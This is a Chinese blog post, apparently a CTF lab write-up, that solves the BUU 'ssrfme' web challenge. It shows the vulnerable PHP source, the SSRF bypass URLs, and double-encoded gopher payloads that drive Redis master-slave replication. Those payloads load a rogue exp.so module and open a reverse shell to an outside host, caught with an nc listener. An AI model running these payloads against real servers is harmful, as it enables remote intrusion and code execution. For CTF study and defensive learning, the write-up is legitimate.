Buu-第二届网鼎杯_玄武组web_ssrfme

本博客用于学习记录,打完网鼎之后一直想知道这道web题怎么做,后来在BUU发现了这道,想做一下复现,因为第一次接触redis,所以遇到很多坑,有理解不到位的地方还请各位多多指点

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

拿道题目以后发现是一到ssrf题目,大体思路就是可以提交url
且通过parse_url的过滤,之后使用curl打内网,访问hint.php
可以绕过的payload:

?url=http://0.0.0.0/hint.php
0.0.0.0默认所有本地地址
?url=http://abc.com@0.0.0.0/hint.php
具体可以参考:
1.https://blog.csdn.net/weixin_43610673/article/details/106457180
2.https://www.jianshu.com/p/a940731cddaf
得到如下代码:

string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
" 

得到redis的密码是root

本题不可用ssh,定时任务,直接写webshell都是不可以的,只能用主从复制。
思路如下:
在redis4.0版本以上,可以进行主从复制,主从复制是为了备份文件,即主机复制写,从机负责读。思路就是开启恶意服务,让靶机redis认为此为redis服务器,利用主从复制,将恶意构造的exp.so文件加载到redis之中,从而实现getshll或命令执行

一般用到的两个工具:
[link]https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server

因为buu的题目不在外网,一开始我以为在外网一直加载不了exp.so后来经过大佬weixin_43610673 指点了解到,一般会用用小号开启buu basis类的linux lab

**他的博客:https://blog.csdn.net/weixin_43610673/article/details/106457180**

靶机当vps做题目,唉,一直没有看buu的FAQ
在这里插入图片描述点击下发后注意会给一个类似这样的网址node3.buuoj.cn:222333
用xshell ssh链接主机是:node3.buuoj.cn 端口是:222333
不是默认22,不是默认22,不是默认22
用户名:root 密码:123456

在小号下的 linux labs下开启rogue-server.py 启动之后用于伪装为主redis,它开启的端口为6666,注意需要将第二个工具exp.so导入到第一个工具下,也就是和rogue-server.py同目录
接下来在web界面利用gopher协议入到从redis之中:

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit



gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520174.1.185.67%25206666%250d%250aquit


gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520174.1.185.67%25206663%250d%250aquit


因为会用的curl所以应该进行两次编码

下面为注解:

gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit
//设置备份文件路径为/tmp/ 顺便说一下看到当时大佬的博客说试了很多目录,最后发现只有/tmp有权限 ,只需要有读权限即可,所以说平时做渗透或者做题好多试试啊

gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 174.1.185.67 6666
quit
//设置备份文件名为:exp.so,设置主redis地址为174.1.185.67,端口为6666 地址为buu开启的linux lab地址

gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.rev 174.1.185.67 6663
quit
//导入 exp.so ,反弹shell到174.1.185.67:6663

最后nc -lvnp 6663
执行最后一条命令后 如果界面加载中,你就可以去ssh看监听的 6663 反弹的shell了。
在这里插入图片描述参考文章:
https://blog.csdn.net/weixin_43610673/article/details/106457180
https://www.jianshu.com/p/a940731cddaf
关于redis攻击方法,大家可以关注XRAY公众号郁离歌大佬写的一篇关于redis的文章。

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值